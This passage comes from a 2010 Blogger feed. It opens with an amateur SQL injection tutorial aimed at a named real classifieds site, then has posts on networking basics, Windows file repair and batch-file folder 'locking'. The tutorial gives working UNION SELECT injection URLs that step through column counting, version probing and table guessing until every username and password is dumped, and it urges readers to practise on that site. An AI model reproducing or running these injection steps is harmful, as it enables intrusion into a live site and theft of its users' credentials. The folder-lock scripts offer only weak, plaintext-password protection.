url should look like:&lt;br /&gt;http://buysellusa.net/classifieds/showCat.php?cat_id=10 order by&lt;br /&gt;now to find out the number of coloums, you would add a one to "Order by" so it would become "Order by 1"&lt;br /&gt;now, the url is :&lt;br /&gt;http://buysellusa.net/classifieds/showCat.php?cat_id=10 order by 1&lt;br /&gt;but thats not all. You need to add some characters at the end, which tell the database that it is a query, and not you trying to connect to another page of the site. To do this, you use one of the following" -- " or " /* " these denote that the text is a comment. These are used in programming when you need to write yourself something to remember inside your code, or script.&lt;br /&gt;it dosent matter what it is for, if you dont understand, you just need to know when to use it.&lt;br /&gt;&lt;br /&gt;so add either -- or /* to the end of your url&lt;br /&gt;&lt;br /&gt;(there are two different methods, because some servers block one of the methods, so if one of the comment symbols* -- * or * /* * dont work, try the other one. i personally prefer -- its faster&lt;br /&gt;&lt;br /&gt;the url is now:&lt;br /&gt;&lt;br /&gt;http://buysellusa.net/classifieds/showCat.php?cat_id=10 order by 1--&lt;br /&gt;OR&lt;br /&gt;http://buysellusa.net/classifieds/showCat.php?cat_id=10 order by 1/*&lt;br /&gt;&lt;br /&gt;make sure not to leave a space between your 1 and your -- or /*&lt;br /&gt;now the first time, it is not going to work obviously.&lt;br /&gt;To find out the number of columns, you need to increase the number "1" by 1 every time you try&lt;br /&gt;&lt;br /&gt;so the first time you would make the url:&lt;br /&gt;http://buysellusa.net/classifieds/showCat.php?cat_id=10 order by 1/*&lt;br /&gt;second time:&lt;br /&gt;http://buysellusa.net/classifieds/showCat.php?cat_id=10 order by 2/*&lt;br /&gt;third time:&lt;br /&gt;http://buysellusa.net/classifieds/showCat.php?cat_id=10 order by 3/*&lt;br /&gt;&lt;br /&gt;and so on and so on, untill you encounter ANOTHER error. It should say something about mysql.&lt;br /&gt;now you know the number of coloums. Lets say it took you 5 tires, on the fifth try, there was an error, then you have 4 columns, because the 5th try is an error, that means the column does not exist in this table (a table located inside the database)&lt;br /&gt;now, you have the amount of columns, which is great.&lt;br /&gt;&lt;br /&gt;Now we have to use the UNION function, which allows you to select more data within one sql statment. The statment in this case being what you add to the end of the url(hope your not lost)&lt;br /&gt;Now when we use the union function, the syntax (how we use it, where we use it) is like so:&lt;br /&gt;&lt;br /&gt;http://buysellusa.net/classifieds/showCat.php?cat_id=10 union all select&lt;br /&gt;but we want it to look like this:&lt;br /&gt;http://buysellusa.net/classifieds/showCat.php?cat_id=10 union all select 1,2/*&lt;br /&gt;what this does is select the columns in the table, column 1,2,3 and column 4&lt;br /&gt;now of course, you only want to select the number of columns that you have determined exist. In my example, i determined 4.&lt;br /&gt;Therefore, i selected column 1,2,3 and 4.&lt;br /&gt;to tell if this command is working, look for numbers on the webpage, that werent there before. The numbers could be 1 or any number up to the amount of columns you found. So if there were 8 columns, the new number could be anywhere from 1-8.&lt;br /&gt;&lt;br /&gt;Now you need to check for the mysql version. This is important, because if it is version 5, you job will be ALOT esier&lt;br /&gt;now this part is sometimes tricky. Look to find the new number that appeared. Now, in your url&lt;br /&gt;which should look like:&lt;br /&gt;http://buysellusa.net/classifieds/showCat.php?cat_id=10 union select all 1,2/*&lt;br /&gt;you need to replace the number in the url that matches the number that appeared on the web page (so if the number that appeared is 2, then you replace the 2 in "union select all 1,2/*"&lt;br /&gt;&lt;br /&gt;what you replace it with is:&lt;br /&gt;@@version or version() if @@version yeilded no results.&lt;br /&gt;&lt;br /&gt;we should get someting like 4.1.33-log or 5.0.45 or similar.&lt;br /&gt;it should look like this:&lt;br /&gt;http://buysellusa.net/classifieds/showCat.php?cat_id=10 union all select 1,@@version/*&lt;br /&gt;if you get an error "union + illegal mix of collations (IMPLICIT + COERCIBLE) ..."&lt;br /&gt;what we need is convert() function&lt;br /&gt;&lt;br /&gt;i.e.&lt;br /&gt;&lt;br /&gt;http://buysellusa.net/classifieds/showCat.php?cat_id=10 union all select 1,convert(@@version using latin1)/*&lt;br /&gt;&lt;br /&gt;(yeah, im confused too, dont worry, you might not have to use this)&lt;br /&gt;&lt;br /&gt;or with hex() and unhex()&lt;br /&gt;&lt;br /&gt;i.e.&lt;br /&gt;&lt;br /&gt;http://buysellusa.net/classifieds/showCat.php?cat_id=10 union all select 1,unhex(hex(@@version))/*&lt;br /&gt;&lt;br /&gt;and you will get the MySQL version&lt;br /&gt;The numbers telling you the version will appear on the web page, most lilkey where the other number appeared.&lt;br /&gt;&lt;br /&gt;Now, one of the hardest parts, you need to find out the name of the table in which you wish to see the information of. Be it the table that stores passwords, or usernames, or both. you need to find out. This part can come down to guessing. But remember, always make an educated guess. Dont guess something random like spongepurple guess something like password or pswrd or user_name or user_names, you catch my drift? so in order to guess the name, use a syntax like this:&lt;br /&gt;&lt;br /&gt;http://buysellusa.net/classifieds/showCat.php?cat_id=10 union all select 1,2 from randomguess/*&lt;br /&gt;on this site, i know for a fact, that the user name table is&lt;br /&gt;http://buysellusa.net/classifieds/showCat.php?cat_id=10 union all select 1,2 from std_users/*&lt;br /&gt;&lt;br /&gt;std means standard&lt;br /&gt;&lt;br /&gt;now, you should get MORE numbers. But what do you do with them? you need to extract (put the data into a readable format)&lt;br /&gt;the data. To do this, you need the column name. On this site, and on lots more sites, you can get a rough idea of what the column name is by reading the source of the webpage. The source, is the coding. you can read this by right clicking on the page and hit "Veiw Source Code". Now you need to find the register coding&lt;br /&gt;to do this you might have to open up a new internet clien (have to internets running at once) or on firefox, another tab.&lt;br /&gt;On your second internet, go to the "Creat account" page and veiw the source&lt;br /&gt;on This website, www.buysellusa.com the code is as follows:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Password:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;here we can clearly see the words "new_user_name" and "password1"&lt;br /&gt;from "new_user_name" im going to keep "User_name" because that seems logical&lt;br /&gt;&lt;br /&gt;now to see if im right, i will need to check&lt;br /&gt;&lt;br /&gt;http://buysellusa.net/classifieds/showCat.php?cat_id=10 union all select 1,user_name,2 from std_users/*&lt;br /&gt;&lt;br /&gt;notice where i put "user_name" i put it inbetween the two columns, column 1 and column 2. Then i made sure to state WHERE i am selecting this data (from the column named "user_name") from, the std_users table. and VIOLA! you have every single account user name registered on the site. But now, we need the password.&lt;br /&gt;&lt;br /&gt;now before, when we looked at the source code, we saw two interesting things, "New_user_name" and "password1"&lt;br /&gt;now we need the "password1"&lt;br /&gt;i will get rid of the one, because why would the column name have a 1 in it?&lt;br /&gt;so basicially, you do the same thing that you did with the user names.&lt;br /&gt;&lt;br /&gt;http://buysellusa.net/classifieds/showCat.php?cat_id=10 union all select 1,user_name,2 from std_users/*&lt;br /&gt;but instead of that, its:&lt;br /&gt;http://buysellusa.net/classifieds/showCat.php?cat_id=10 union all select 1,password,2 from std_users/*&lt;br /&gt;and ONCE AGAIN! VIOLA! you now have the password to each and every account on the site.&lt;br /&gt;&lt;br /&gt;but the lesson is not over, now, to make it easier, we will reformat your results, so they can be better read.&lt;br /&gt;&lt;br /&gt;to do this, simply use the contact function.&lt;br /&gt;&lt;br /&gt;http://buysellusa.net/classifieds/showCat.php?cat_id=10 union all select 1,concat(user_name,0x3a,password),2 from std_users/*&lt;br /&gt;&lt;br /&gt;what this does, in a sense, is contact thoes columns from the chart you specify (in this case std_users) and displays there information, but, now, you can display them both at the same time, because they are being simotaneously contacted. And, in this context, it syncronizez the username to its password like so:&lt;br /&gt;&lt;br /&gt;usernameassword&lt;br /&gt;&lt;br /&gt;the 0x3a is just a hex code, it is equal to a colon, so your results will look nice.&lt;br /&gt;and thats all.&lt;br /&gt;If you have done this right, you should have just hacked a site.&lt;br /&gt;&lt;br /&gt;for your first time, try on www.buysellusa.net its easy :P&lt;br /&gt;on www.buysellusa.net, make sure to use /* comment symbol!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;please comment on anything i explained wrong, or didnt explain enough... after all, i am new at this&lt;br /&gt;&lt;br /&gt;Thanks to S0vv and p3ri0d for their help&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6631355475399605399-3966200403826614409?l=akki4tips.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://akki4tips.blogspot.com/feeds/3966200403826614409/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://akki4tips.blogspot.com/2010/04/site-for-my-purposes-i-will-use-www.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/3966200403826614409'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/3966200403826614409'/><link rel='alternate' type='text/html' href='http://akki4tips.blogspot.com/2010/04/site-for-my-purposes-i-will-use-www.html' title=''/><author><name>ExploringLinuxWithMe</name><uri>http://www.blogger.com/profile/14209377822820692943</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_lIWj8wefYIs/S5Ei4sJkVaI/AAAAAAAAACs/K5MyG1sSTYQ/S220/J0338.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6631355475399605399.post-1305792887060665227</id><published>2010-04-02T22:20:00.001-07:00</published><updated>2010-04-02T22:20:46.456-07:00</updated><title type='text'></title><content type='html'>&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;b style="color: red;"&gt;&lt;span style="font-size: x-large;"&gt;&lt;br /&gt;Networking Tutorials&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;OK, this tutorial will be very advance.&lt;br /&gt;&lt;br /&gt;contents~&lt;br /&gt;&lt;br /&gt;-architecture of the Internet&lt;br /&gt;-components of a network&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;*****Architecture of the Internet******&lt;br /&gt;&lt;br /&gt;Well, what do u think a Internet is.&lt;br /&gt;&lt;br /&gt;when i was still a noob in networking, some one told me that Internet is the biggest part of out life.&lt;br /&gt;&lt;br /&gt;well, before i have a feeling that it was wrong about what he said.&lt;br /&gt;&lt;br /&gt;and now, it proves me right.&lt;br /&gt;&lt;br /&gt;because the components for the internet architecture is&lt;br /&gt;&lt;br /&gt;1.Network&lt;br /&gt;2.end users&lt;br /&gt;3.end user devise&lt;br /&gt;5.devises&lt;br /&gt;6.servises&lt;br /&gt;etc....&lt;/div&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Well, why do u think we can acces the email server for gmail, hotmail, yahoo.???&lt;br /&gt;&lt;br /&gt;it is because at the back, there is a email server connected to the outside world&lt;br /&gt;using the servise from the ISP.&lt;br /&gt;&lt;br /&gt;why do u think they have our records for our pass, and usernames????&lt;br /&gt;&lt;br /&gt;it is because there is a MySQL server in some of the network pc.&lt;br /&gt;&lt;br /&gt;u just need to ask zach, and ask if he had made up a MySQL server for this site.&lt;br /&gt;&lt;br /&gt;Basically, Internet means&lt;br /&gt;&lt;br /&gt;--Interconnected network.&lt;br /&gt;&lt;br /&gt;the creation for web browsers had made our lives 100000000000000000000000000 times easier.&lt;br /&gt;&lt;br /&gt;From hand written letters and needs like 3 days to send it.&lt;br /&gt;&lt;br /&gt;but now, is fast typing using our keybords and we only needs the maximum of one our and arrive to our destination, depending on our traffic between the source and the out side world. and the reciever.&lt;br /&gt;&lt;br /&gt;so , for the archetecture for the internet is bascially saying the architecture for networking.&lt;br /&gt;&lt;br /&gt;four fundamental things for the structure of internet aka network.&lt;br /&gt;&lt;br /&gt;1. Qos - quality of servise*&lt;br /&gt;2.fault tolerance*&lt;br /&gt;3.scabability*&lt;br /&gt;4.security*&lt;br /&gt;&lt;br /&gt;****Qos*****&lt;br /&gt;this is very very important,&lt;br /&gt;&lt;br /&gt;Qos refers to the mechanism that manage the congested network traffic.&lt;br /&gt;&lt;br /&gt;more communications means more network bandwidth needed.&lt;br /&gt;&lt;br /&gt;Network bandwidth is the measurement of data carrying capacity of the network traffic.&lt;br /&gt;&lt;br /&gt;for example, Voice over IP phone and a peer to peer network transfer would effect the traffic of the network greatly.&lt;br /&gt;&lt;br /&gt;you can kind of understand the meaning of quality of service.&lt;br /&gt;&lt;br /&gt;now, i am the network manager, my customers or users is using VOIP and there is&lt;br /&gt;&lt;br /&gt;some one doing some peer to peer transfer.&lt;br /&gt;&lt;br /&gt;if the user that uses VOIP get delayed calls or laggy transfer of signals, then they won't use VOIP no more.&lt;br /&gt;&lt;br /&gt;peer to peer network network bandwith measure = 20 %&lt;br /&gt;-not so important&lt;br /&gt;&lt;br /&gt;VOIp takes 20 %&lt;br /&gt;&lt;br /&gt;but VOIP customers some times pay to use this servise, if they get leggy or delay phone calls then they won't use it any more.&lt;br /&gt;&lt;br /&gt;but for peer to peer network transfer, it is not that important, but it takes up bandwidth too.&lt;br /&gt;&lt;br /&gt;so what we need to do here is to set priorities.&lt;br /&gt;&lt;br /&gt;the Router will the the classify and direct the messages according to there priorities.&lt;br /&gt;&lt;br /&gt;so doing this job of giving different traffic priorities is very important.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;another example, a web page set up meeting and email server meeting.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;what do u think????&lt;br /&gt;&lt;br /&gt;If i am a network manager. then i will give the priorities to the web page set up first.&lt;br /&gt;&lt;br /&gt;because with out the web page , how are we going to get our email server in use by users?&lt;br /&gt;&lt;br /&gt;think about it, with out a gmail web page and how are we going to access the email server and read our mails???&lt;br /&gt;&lt;br /&gt;so setting priorities for different traffic is very important.&lt;br /&gt;&lt;br /&gt;you can use priority queuing&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;like there is so many services, and they are all in same category or platform- the digital platform&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;but still there is so many different types of traffic, so putting them into there own priorities will take ages.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;so u can be like,time sensitive: voice and video have higher piority then not time sensitive:email or txt documents.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;after u put them in category, they are ready to be put in queues&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;example, the airport , the front class in one line, the businesses class in one line.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;the front class get higher priority and the businesses class get lower.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;same as this, the voice get the front class of the traffic and the txt &amp;amp; email get businesses class.&lt;br /&gt;&lt;br /&gt;*****************fault tolerance*******&lt;br /&gt;&lt;br /&gt;it means that, the internet will work normally even one of the components of the network is not working.&lt;br /&gt;&lt;br /&gt;-redundancy, very very important.&lt;br /&gt;&lt;br /&gt;for example, gmail's email server is not working, then what would happen.&lt;br /&gt;&lt;br /&gt;is there going to be no access for email for half of the people in the world.&lt;br /&gt;&lt;br /&gt;no, redundancy means a back up or duplicate of important service or servers.&lt;br /&gt;&lt;br /&gt;if the mysql server is down, then there will be a backup server running until the normally email server is fix and is back to the network.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;*****scalability***&lt;br /&gt;&lt;br /&gt;is the ability of growing internally and externally without changing the originated infrastructure.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;for example, adding a new user on the network should not need to be redesign the infrastructure of the network.&lt;br /&gt;&lt;br /&gt;when u design a network, you should be havinga backup for every thing and extra.&lt;br /&gt;&lt;br /&gt;*******security******&lt;br /&gt;&lt;br /&gt;network security is the main concern for web providers and users.&lt;br /&gt;&lt;br /&gt;web safety is the key part for a network management plan.&lt;br /&gt;&lt;br /&gt;for the network security plan.&lt;br /&gt;&lt;br /&gt;the network manager or security officer must address these two things.&lt;br /&gt;&lt;br /&gt;1.infrastructure security&lt;br /&gt;2.content security.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;-infrastructure security&lt;br /&gt;&lt;br /&gt;that means, looking up ur server room, The pc room, only allow those people who can to the server or IT room.&lt;br /&gt;&lt;br /&gt;people can sneak in to ur server room and plug there pc in the port with a cat 5 UTP cable and they can start sniffing your traffic.&lt;br /&gt;&lt;br /&gt;-content security&lt;br /&gt;***** content security is not securing the content.!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;content security means enabling&lt;br /&gt;&lt;br /&gt;1.network availability&lt;br /&gt;2.ensuring confidentiality&lt;br /&gt;3.communication intergrety&lt;br /&gt;&lt;br /&gt;1.Network availability&lt;br /&gt;&lt;br /&gt;two things, you have to put a AV on a server and desktop and firewalls.&lt;br /&gt;&lt;br /&gt;think about it, if your server or pc is down, how are u going to serve people, that is the availbility of the network.&lt;br /&gt;&lt;br /&gt;2.ensuring confidentiality&lt;br /&gt;that means, keeping your data secure, keeping the confidential stuff secure.&lt;br /&gt;&lt;br /&gt;like using a strong system for user identification.&lt;br /&gt;&lt;br /&gt;only allow the permission people to access the confidential data&lt;br /&gt;&lt;br /&gt;using strong passwords, always make the user change there password often.&lt;br /&gt;&lt;br /&gt;when encryption is enabled, there will be a hinger chance that hackers won't be able to see ur data even they stole it.&lt;br /&gt;&lt;br /&gt;making password hard to guess or to crack.&lt;br /&gt;&lt;br /&gt;3.Communication intergrety&lt;br /&gt;&lt;br /&gt;2 types.&lt;br /&gt;&lt;br /&gt;1. data intergrety&lt;br /&gt;-the assurance of the info not to be altered during the transmission from the source to the reciever.&lt;br /&gt;&lt;br /&gt;data intergrety can be compromised if the info is corrupted or passed up.-- willfully or accidentaly--&lt;br /&gt;&lt;br /&gt;* if u guys have problems with this, then pm me or add me on msn.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;3.source intergrety.&lt;br /&gt;&lt;br /&gt;-.the assurance of the identity of the sender is validate.&lt;br /&gt;source intergrety can be compromised when some one or devise fake the identity and give incorrect info to the recipient.&lt;br /&gt;&lt;br /&gt;using hashes, encryption, digital sig can provide source and data intergrety across a network to prevent hackers and bad dudes like all of us in here.&lt;br /&gt;&lt;br /&gt;and this is the end of the tutorial and thanks&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6631355475399605399-1305792887060665227?l=akki4tips.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://akki4tips.blogspot.com/feeds/1305792887060665227/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://akki4tips.blogspot.com/2010/04/networking-tutorials-ok-this-tutorial.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/1305792887060665227'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/1305792887060665227'/><link rel='alternate' type='text/html' href='http://akki4tips.blogspot.com/2010/04/networking-tutorials-ok-this-tutorial.html' title=''/><author><name>ExploringLinuxWithMe</name><uri>http://www.blogger.com/profile/14209377822820692943</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_lIWj8wefYIs/S5Ei4sJkVaI/AAAAAAAAACs/K5MyG1sSTYQ/S220/J0338.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6631355475399605399.post-7519873438387297443</id><published>2010-04-02T22:17:00.001-07:00</published><updated>2010-04-02T22:17:54.130-07:00</updated><title type='text'></title><content type='html'>&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;b style="color: red;"&gt;&lt;span style="font-size: x-large;"&gt;File corrupt or missing - Solution&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Sometimes when installing a program or following a hard disk, a portion of a system file can be damaged. The system or software may complain and refuse to start.&lt;br /&gt;&lt;br /&gt;System File Checker&lt;br /&gt;Windows XP has a utility very useful and yet very little known: a System File Checker (SFC - System File Checker).&lt;br /&gt;&lt;br /&gt;To use:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Click on Start / Run&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Enter and confirm the following command within the space between the command and its argument:&lt;br /&gt;&lt;br /&gt;sfc / scannow&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * The dialog box of Windows File Protection and then opens the file system analysis begins.&lt;/div&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;In case of corrupted file, the installation CD will be called and replace the file in its original version!&lt;br /&gt;&lt;br /&gt;Repair with the Windows installation CD&lt;br /&gt;If the above procedure does not solve the problem, there remains the possibility to repair the Windows installation by equipping the installation CD!&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Insert the Windows CD into the drive and reboot the computer.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Make F8 to select the appropriate drive unit boot. If this fails, change the sequence in the BIOS setup as the following, otherwise move to the next step.&lt;br /&gt;&lt;br /&gt;At boot the computer, press F2 or F5 to access the BIOS setup&lt;br /&gt;Options in the BIOS, change the boot sequence (boot sequence), so that the CDROM is placed first.&lt;br /&gt;Save changes and reboot.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * When the words "Boot from CDROM" or "Start from CDROM" appears (for a few seconds), press a button to launch the Windows Setup program.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * A menu of choices will appear, choose "Repair" (Repair).&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * The menu will then fast or manual. Try fast mode first, if that is not enough, it will be possible to manually try later!&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Reboot leaving the installation CD of Windows and choose "Install." Attention! At this stage, we should not choose "Repair" but "Install".&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * The program asks you whether you want to repair your installation, choose "Yes". Note that the data your system will not be crushed, only the system files will be replaced by the originals.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * When the repair is complete, change the boot sequence for the original sequence, save and let the computer restart.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * The system should work again ...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6631355475399605399-7519873438387297443?l=akki4tips.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://akki4tips.blogspot.com/feeds/7519873438387297443/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://akki4tips.blogspot.com/2010/04/file-corrupt-or-missing-solution.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/7519873438387297443'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/7519873438387297443'/><link rel='alternate' type='text/html' href='http://akki4tips.blogspot.com/2010/04/file-corrupt-or-missing-solution.html' title=''/><author><name>ExploringLinuxWithMe</name><uri>http://www.blogger.com/profile/14209377822820692943</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_lIWj8wefYIs/S5Ei4sJkVaI/AAAAAAAAACs/K5MyG1sSTYQ/S220/J0338.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6631355475399605399.post-6503831330236403148</id><published>2010-04-02T22:09:00.000-07:00</published><updated>2010-04-02T22:14:46.870-07:00</updated><title type='text'></title><content type='html'>&lt;div style="color: red; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-large;"&gt;Lock folder without any software 1&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;Hi, Guys Here a new Trick to lock Folder without using any Software. &lt;br /&gt;You need to just a bit editing in Notepad and Save it as Batch files.&lt;br /&gt;&lt;br /&gt;Here the Method&lt;br /&gt;&lt;b&gt;Quote:&lt;br /&gt;cls&lt;br /&gt;@ECHO OFF&lt;br /&gt;title Folder Locker&lt;br /&gt;if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK&lt;br /&gt;if NOT EXIST Locker goto MDLOCKER&lt;br /&gt;:CONFIRM&lt;br /&gt;echo Are you sure u want to Lock the folder(Y/N)&lt;br /&gt;set/p "cho=&amp;gt;"&lt;br /&gt;if %cho%==Y goto LOCK&lt;br /&gt;if %cho%==y goto LOCK&lt;br /&gt;if %cho%==n goto END&lt;br /&gt;if %cho%==N goto END&lt;br /&gt;echo Invalid choice.&lt;br /&gt;goto CONFIRM&lt;br /&gt;:LOCK&lt;br /&gt;ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"&lt;br /&gt;attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"&lt;br /&gt;echo Folder locked&lt;br /&gt;goto End&lt;br /&gt;:UNLOCK&lt;br /&gt;echo Enter password to Unlock folder&lt;br /&gt;set/p "pass=&amp;gt;"&lt;br /&gt;if NOT %pass%== type your password here goto FAIL&lt;br /&gt;attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"&lt;br /&gt;ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker&lt;br /&gt;echo Folder Unlocked successfully&lt;br /&gt;goto End&lt;br /&gt;:FAIL&lt;br /&gt;echo Invalid password&lt;br /&gt;goto end&lt;br /&gt;:MDLOCKER&lt;br /&gt;md Locker&lt;br /&gt;echo Locker created successfully&lt;br /&gt;goto End&lt;br /&gt;:End&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; 1. Exactly Copy paste it In Note pad and save it as a Batch File&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; 2. Double click on batch file you have created and you will see a new folder on your desktop &lt;br /&gt;called “Locker”&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; 3. Now add the files you want to be locked in that folder.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; 4. Double click on batch file you have created again, and it will ask you if you want to &lt;br /&gt;hide the folders&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; 5. Type Y For Yes. The folder will be locked and hidden.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; 6. To unhide, double click batch file you have created , type in your password and press enter… &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6631355475399605399-6503831330236403148?l=akki4tips.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://akki4tips.blogspot.com/feeds/6503831330236403148/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://akki4tips.blogspot.com/2010/04/lock-folder-without-any-software-hi.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/6503831330236403148'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/6503831330236403148'/><link rel='alternate' type='text/html' href='http://akki4tips.blogspot.com/2010/04/lock-folder-without-any-software-hi.html' title=''/><author><name>ExploringLinuxWithMe</name><uri>http://www.blogger.com/profile/14209377822820692943</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_lIWj8wefYIs/S5Ei4sJkVaI/AAAAAAAAACs/K5MyG1sSTYQ/S220/J0338.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6631355475399605399.post-691290369805681643</id><published>2010-04-02T22:07:00.000-07:00</published><updated>2010-04-02T22:07:33.617-07:00</updated><title type='text'></title><content type='html'>&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;b style="color: red;"&gt;&lt;span style="font-size: x-large;"&gt;Lock folder without any software&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Suppose you want to lock the folder movies in d: which has the path D:\movies.&lt;br /&gt;&lt;br /&gt;In the same drive create a text file and type&lt;br /&gt;&lt;b&gt;ren movies movies.{21EC2020-3AEA-1069-A2DD-08002B30309D}&lt;/b&gt;&lt;br /&gt;Now save this text file as loc.bat&lt;br /&gt;&lt;br /&gt;Create another text file and type in it&lt;br /&gt;&lt;b&gt;ren movies.{21EC2020-3AEA-1069-A2DD-08002B30309D} movie&lt;/b&gt;s&lt;br /&gt;Now save this text file as key.bat&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;you can see 2 batch files loc and key. Press loc and the folder movies will change &lt;br /&gt;to control panel and you cannot view its contents. Press key and you will get back your original folder.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6631355475399605399-691290369805681643?l=akki4tips.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://akki4tips.blogspot.com/feeds/691290369805681643/comments/default' title='Post Comments'/><link rel='replies' type='text/html' 